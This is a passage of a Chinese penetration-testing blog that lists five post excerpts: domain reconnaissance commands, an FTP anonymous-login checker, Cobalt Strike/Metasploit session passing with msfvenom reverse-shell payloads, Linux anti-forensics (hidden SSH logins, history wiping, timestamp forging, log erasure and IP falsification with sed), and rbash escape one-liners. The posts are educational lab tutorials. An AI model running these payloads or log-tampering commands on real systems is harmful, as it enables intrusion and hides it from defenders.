首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,877 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
91
篇与
的结果
2025-05-18
【内网渗透】免工具,内网和域内信息收集的40种方式总结
【内网渗透】免工具,内网和域内信息收集的40种方式总结前言本文主要演示了【系统信息收集】【浏览器信息收集】和【域内信息收集】,因为上一篇已经讲过了基本的信息收集方式:这篇新增了域内信息收集和浏览器信息收集,并且在上一篇文章的基础下,新增了好几种内网信息收集的方式,这里先介绍域内信息收集域内信息查看当前登录域显示和更改可配置的工作站服务参数。net config workstation域列表显示域列表、计算机列表或指定计算机的共享资源列表。net view如果出现如下错误那么就关闭防火墙检查服务Computer Browser是否开启域列表net domAIn /domAIn域内用户组查看域内所有用户组列表net group /domAIn域内用户查看域内所有用户net user /domAIn域内详细信息wmic useraccount get /all存在的用户查看存在的用户dsquery user本地管理员组net localgroup administrators /domAIn域内管理员组net group "domAIn admins" /domAIn net group "enterprise admins" /domAIn net group "schema admins" /domAIn域内时间net time /domAIn域内计算机域内所有成员的计算机列表net group "domain computers" /domain域密码信息net accounts /domain域信任列表域信任列表:主要用于验证对方证书是否可信。当一个域内的用户在检验另一个域内用户身份时,会检查对方证书的颁发CA是否在信任列表中,从而判断是否能信任对方用户的身份。net accounts /domain域控制器名称域内控制器名称nltest /DCLIST:域名主机名域控制器主机名nslookup -type=SRV _ldap._tcp真实环境中,一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障, 备用的域控制器可以使域内服务验证正常进行。组域控制器组主主控制器浏览器信息chrome C:Users$usernameAppDataLocalGoogleChromeUser DataDefaultHistory firefox C:UsersUndefined control sequence AppDataname.defaultplaces.sqlite IE reg query "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerTypedURLs" 或C:Users$userAppDataLocalMicrosoftWindowsHistory edge, v79+: C:Users$userAppDataLocalMicrosoftEdgeUser DataDefaultHistory v44+ C:Users$userAppDataLocalMicrosoftWindowsWebCacheWebCacheV01.dat系统信息当前用户信息查看当前用户信息,RID,组信息,特权信息whoami /all系统信息systeminfo网络及端口状态netstat -an这里,-a 表示显示所有连接和监听端口,-n 表示以数字形式显示地址和端口号。LISTENING:表示监听中,这个端口正在开放,可以提供服务SYN_SENT:客户端已经发送连接请求(SYN),并正在等待服务器的确认(SYN-ACK报文)。这是TCP三次握手过程中的一个状态。CLOSED:连接已关闭,不再存在。TIME_WAIT:连接已关闭,但TCP协议规定在这段时间内(通常是2倍的最大报文存活时间,即2MSL)不能立即使用该连接相同的四元组(源IP、源端口、目标IP、目标端口)建立新的连接,以防止旧连接的残留数据干扰新连接。【MSL,报文最大生存时间可能是30秒、1分钟或2分钟,取决于操作系统】ESTABLISHED:连接已成功建立,数据可以在客户端和服务器之间双向传输。比如HTTP/HTTPS,FTP,SMTP,SSH,MYSQL,RDP(Windows远程桌面服务)等当前主机名称hostname当前操作系统wmic OS这么不好看?就使用get命令对每一列进行筛选,赛选常用的信息wmic OS get Caption,CSDVersion,OSArchitecture,Version安装的应用程序wmic product get name,version在线用户quser网络配置ipconfig /all查看进程tasklist /vIP地址DNS服务器,本地IP,网关地址ipconfig /all是否可ping通dns地址主机开机时间继上一篇补充一些net statistics workstation如果拒绝访问的话就使用管理员打开cmd有执行结果的话应该是这样的路由route printARP命令的作用主要是显示本地ARP(地址解析协议)缓存表。arp -a # 计算机中存储的已解析IP地址及其对应的MAC地址。快速查看计算机与其他设备之间的网络连接情况。防火墙配置netsh firewall show config远程连接如果3389端口开启,那么极有可能开启了远程连接服务netstat -ano | findstr 3389远程桌面连接历史记录有的话就有,可以把凭证取下来进行本地解密、没有的话会显示无cmdkey /list本机用户net user某用户的X信息net user 用户名往期推荐【JS逆向】某大型音乐平台JS逆向分析【流量分析】Java框架Shiro、工具利用、漏洞复现以及流量特征分析最新可用,bp+charles小程序抓包教程DocCMS 网站存在SQL注入漏洞PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解【附靶机链接】
2025年05月18日
1,165 阅读
0 评论
0 点赞
2025-05-18
ftp匿名登录
FTP协议-匿名用户登录前言日常大家可能接触web漏洞比较多而对其他端口及协议不那么了解,其实其他协议漏洞在渗透中也同样重要只是平时可能接触得不多。本文将介绍FTP协议、FTP匿名用户登录及其具体流程分析和自动化利用demo。FTP简介FTP是File Transfer Protocol(文件传输协议)的简称,用于internet上的控制文件的双向传输。很多人以为FTP是一个服务,实际上FTP 是一个协议而不是一个服务,应用到FTP协议的服务有很多,常用的就是vsFTPd。FTP有三种用户模式: 匿名用户模式: 允许任何人无需提供用户名和密码即可登录 FTP 服务器。 通常对访问权限有严格限制,只能访问特定的公共目录,并且可能无法进行上传、删除等操作。 本地用户模式: 使用服务器操作系统中的本地用户账号和密码进行登录。 登录后,用户的权限与在本地操作系统中的权限相同。 比如,服务器上有个用户名为“user1”,其在操作系统中具有特定的文件和目录权限,那么在通过 FTP 以“user1”登录时,将拥有相同的权限。 虚拟用户模式: 这并非真正的操作系统用户,而是 FTP 服务器自定义的用户。 具有特定的权限配置,可根据需求灵活设置权限,实现更精细的访问控制。 常用于需要为 FTP 服务创建特殊权限用户,而又不想直接使用本地系统用户的情况。 FTP协议占用情况:21端口:命令控制,用于接收客户端执行的FTP命令。20端口:数据传输,用于上传、下载文件数据。、FTP服务搭建-vsftpdvsftpd默认以匿名用户访问,不修改配置文件的话本身就存在匿名用户登录漏洞。vsftpd安装yum -y install vsftpd服务启动systemctl vsftpd start防火墙规则放行firewall-cmd --zone=public --add-service=ftp --permanent firewall-cmd --zone=public --add-port=21/tcp --permanent复现分析进行连接ftp 192.168.174.128输入用户名 anonymous和ftp都行经过测试发现密码置为空或者是随意输入都可成功登录抓包分析首先进行TCP三次握手建立连接建立连接后服务端向客户端发送包,表示服务已为新连接的用户就绪以及一些服务信息客户端发送包表示表示服务器需要切换到UTF8字符集进行工作服务端再向客户端回包表示表示命令执行成功且已在工作再UTF8模式下接下来就是整个登录的流程,包括指定用户、输入密码和登录成功指定登录用户提示输入密码输入密码提示登录成功脚本测试可以使用python的ftplib库模拟FTP协议登陆的行为来进行自动化测试简单demo# -*- coding:utf-8 -*- """ @Created on : 2024/8/1 16:28 @Auther: c @Des: """ import ftplib from loguru import logger def anonymous_login(ip): try: ftp = ftplib.FTP(ip) logger.info("尝试匿名用户登录" + ip) ftp.login() except ftplib.all_errors as e: logger.info(f"匿名用户利用失败: {e}") else: logger.info("存在匿名用户" + ip) if __name__ == '__main__': anonymous_login('192.168.174.128')我们可以具体跟进看到login函数默认的用户为anonymous密码为anonymous@确实是登录成功了修复措施vsftpd下禁用匿名用户登录需修改配置文件/etc/vsftpd/vsftpd.conf,将anonymous_enable=YES修改为anonymous_enable=NO,再重新启动服务。再次用脚本测试可以看到登陆失败在wireshark中同样也是总结针对端口协议自动化探测及利用的脚本编写在此只做了简单demo示例。如果想更进一步,可以对端口进行遍历或指定探测,与特定服务返回数据包中固定字段进行匹配识别出协议再打对应协议漏洞poc。
2025年05月18日
1,038 阅读
0 评论
0 点赞
2025-05-18
CS与MSF联动,CobaltStrik和MSF联动的方法,msf上线CobaltStrik
CS与MSF联动0x01 CS与MSFCobaltStrike(简称CS)是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework(简称MSF)的图形化界面工具,而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作,将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器(Beacon HTTP)这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行,之后受害主机就会上线到CS了至此,CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听(reverse_http),用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听(Foreign HTTP),IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话,点击右键选择增加会话(Spawn) ,再选择刚刚创建的监听(Foreign HTTP)上述步骤完成后,在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器(Beacon HTTP)2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework,设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号,与后门文件中的一致 run 将后门文件放置受害主机运行后,MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台,会看到一个会话sessions idbackground 调用 payload_inject 模块,将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后,在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记(三)CS与MSF联动 -
2025年05月18日
1,270 阅读
0 评论
0 点赞
2025-05-18
linux隐身登录
ssh隐身登录前言之前在打靶机的时候遇见的知识点。今天刚好优化学习一下,如果哪里有错误还请指正,欢迎留言,让更多的师傅们交流学习,还请不要使用文章内容进行非法渗透。本次教程主要用到w和last两个命令w命令介绍w 是什么?我用的Ubuntu系统,在ubuntu系统中的w命令,主要用于显示当前当前登录用户的所有信息,包括正在执行的命令。比如我新建两个ssh连接(也就是两个终端,连同一个服务器)。终端1:执行 ping www.baidu.com在ping的过程中,打开终端2,那么就能看到当前用户正在使用 ping 命令但是我们使用 w 命令的时候,此时能看到当前登录的信息,这个TTY下的pts/0和pts/2意思就是伪终端的区分,也就是两个不同的ssh连接。两个ssh的连接,连接的同一个服务器last命令last命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件(在某些系统中可能是/var/log/btmp)同样的我们登录两个ssh连接,使用这个命令也能看到有两台机器登录隐藏登录真实渗透过程中是相当致命的。那么如何隐藏自己呢?那么就要用到如下命令ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 命令拆解-T :告诉ssh客户端,不要分配一个TTY(伪终端)root :连接用户xxx.xxx.xxx.xxx :连接的服务器ip地址/bin/bash :在远程服务器上启动一个交互式的Bash shell。效果如下,默认登录一个终端的时候,会有一个pts/0,但是这里已经成功隐藏了登录配置一台正常连接的ssh终端,也可以看到,我同时登录了两台服务器,但是只显示了一台服务器登录。ssh root@xxx.xxx.xxx.xxx出于安全考虑,通常禁用root通过ssh登录,或者禁止root用户执行某些操作,使用普通用户登录系统。排查使用 $PPID,可以看到当前用户的父进程信息。清楚当前的history记录如果我们不希望命令被记录,在退出会话前直接执行:# 清楚当前会话的命令历史记录 history -r # 或者 不给当前的shell留时间去处理,内存的命令也没时间写入到文件 kill -9 $$history -r将历史命令文件中的命令(/.bash_history) 读入当前历史命令缓冲区.history -r 把历史文件(/.bash_history)附加到内存数据中了举例,ping www.baidu.com后,kill,连接断开重新登录,history,并没有ping 这条命令,隐藏成功正常退出重连,history隐藏Vim的操作记录当我们使用 vim时候,会在 ~/.viminfo留下操作记录,建议使用vi 。 或者在vim中使用命令关闭记录。:set history=0 :!command 隐藏文件修改时间一般管理员会查看一个文件的修改时间,我们可以把我们的后门文件时间修改成几天之前创建的效果。使用如下命令。# touch -r A B ,将 B 文件的日期改为 A 文件的日期 touch -r appsetting.json longyusec.txt虽然如此,但还是能用stat命令看到修改时间stat中的三个属性意思是最近访问(access time):表示我们最后一次访问(仅仅是访问,没有改动)文件的时间 最近更改(modify time):表示我们最后一次修改文件的时间 最近改动(change time):表示我们最后一次对文件属性改变的时间,包括权限,大小,属性等等或者使用find命令,查找24小时内被修改过的文件find ./ -ctime 0 -name 'longyusec.txt'那么如果再绕过 stat的检测呢? 修改系统时间后再 touch -r A B 就可以了。最后记得把系统时间改回来啊锁定文件有时候你发现用root权限都不能修改某个文件,大部分原因是曾经用chattr命令锁定该文件了。此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。chattr命令不能保护/、/dev、/tmp、/var目录。lsattr命令是显示chattr命令设置的文件属性。chattr +i shell.php #锁定文件 rm -rf shell.php #提示禁止删除 lsattr shell.php #属性查看 chattr -i shell.php #解除锁定 rm -rf shell.php #删除文件让某个文件只能往里面追加数据,但不能删除,适用于各种日志文件# chattr +a /var/log/messages清除系统日志痕迹Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志清除系统日志痕迹/var/log/btmp 记录所有登录失败信息,使用lastb命令查看 /var/log/lastlog 记录所有用户最后一次登录时间的日志,使用lastlog命令查看 /var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看 /var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看 /var/log/secure 记录与安全相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 # 直接覆盖日志文件 echo > /var/log/btmp cat /dev/null > /var/log/secure # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址: sed -i 's/192.168.166.85/192.168.1.1/g' secure清除web日志入侵痕迹# 直接替换日志ip地址 sed -i 's/192.168.166.85/192.168.1.1/g' access.log # 清除部分相关日志 cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/文件安全删除工具# shred 命令 安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数 [root@centos]# shred -f -u -z -v -n 8 1.txt # wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件 [root@centos]# wipe filename学习于(有删改):https://www.cnblogs.com/awake1t/p/14504139.html往期推荐【重要通知】关于举办第二届CN-fnst::CTF的通知【kali笔记】这样炫酷的终端签名,是如何打印出来的?渗透测试高频面试题分享upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析开箱即用!265种windows渗透工具合集--灵兔宝盒
2025年05月18日
1,665 阅读
0 评论
0 点赞
2025-05-18
渗透测试rbash逃逸,rbash逃逸的12种方式
简述什么是rbash?rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行如何设置?useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令为rbash逃逸做信息收集1、枚举环境变量执行env或printenv命令来查看当前的环境变量设置。特别是PATH和SHELL变量,它们可能影响到命令的查找和执行。2、检查可用应用和服务文本编辑器:如vi、vim、nano等,这些编辑器有时候允许用户执行系统命令。其他系统工具:如FTP,more,less,man等,这些工具在特定情况下也可用于执行命令逃逸调试工具:如gdb,在某些配置下可能允许用户执行任意代码3、枚举可用的命令和操作符命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如ls、cat、echo等),以及可能未被禁用的系统命令。操作符枚举:尝试使用重定向操作符(如>、>>、<等)和管道操作符(|),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。4、检查可用编程语言python perl ruby php java等5、用户和sudo权限用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。sudo权限:使用sudo -l命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。常见的逃逸技术1、”/“字符如果/字符被允许我们可以直接运行:/bin/bash2、cp命令可以直接赋值/bin/bash或者passwd中root的终端目录直接运行cp /bin/bash test1 cp /bin/sh test2 ./test1 # 切换到了/bin/bash ./test2 # 切换到了/bin/sh图例3、常见的应用探测系统中是否存在常见应用FTP,GDB(调试程序的工具)等。执行:FTP> !/bin/sh执行:gdb> !/bin/shman / git执行:man > !/bin/sh执行:git > git help statusvi / vimvi test :!/bin/sh # 利用vi/vim中可以执行命令的特点more / less 同上操作more test_file !/bin/sh4、set shell在一些编辑器中可以设置shell变量然后执行,如vim中# vim/vi进入之后 :set shell=/bin/sh # 或者用/bin/bash :shell # 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令 export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin/比如DC-2靶机,文章参考-------5、更改PATH或者Shell环境变量export查看环境变量PATH 和 SHELL 变量的权限设置很可能是:r-x ,这就意味着我们只能执行和读取,不能写入。如果有w权限的话,我们可以直接给它写入/bin/bash6、编程语言语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:pythonpython -c "import os;os.system('/bin/bash')" 或者 python -c "import pty;pty.spawn('/bin/bash')"perlperl -e "exec '/bin/sh';"rubyexec "/bin/sh"7、su命令切换用户的时逃逸,这里的原理涉及到su和su -的区别:su命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是rootsu -命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了逃逸过程su -l tw su - tw su --login tw8、ssh登录逃逸它的原理就是借助-t远程在远程机器上运行脚本正常登录成功的样子逃逸成功的样子命令如下ssh username@IP -t "/bin/bash" or "/bin/sh" ssh username@IP -t "bash --noprofile" ssh username@IP -t "() { :; }; /bin/bash"注意使用bash --noprofile和() { :; }; /bin/bash的时候没有登录成功的提示,以及登录时间之类的9、awk超级玛丽靶机awk 'BEGIN {system("/bin/sh")}' 或 awk 'BEGIN {system("/bin/bash")}'10、findfind / -name SomeName -exec /bin/sh ; find / -name SomeName -exec /bin/bash ;11、zipzip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"12、tartar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash总结本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。
2025年05月18日
1,545 阅读
0 评论
0 点赞
1
...
15
16
17
...
19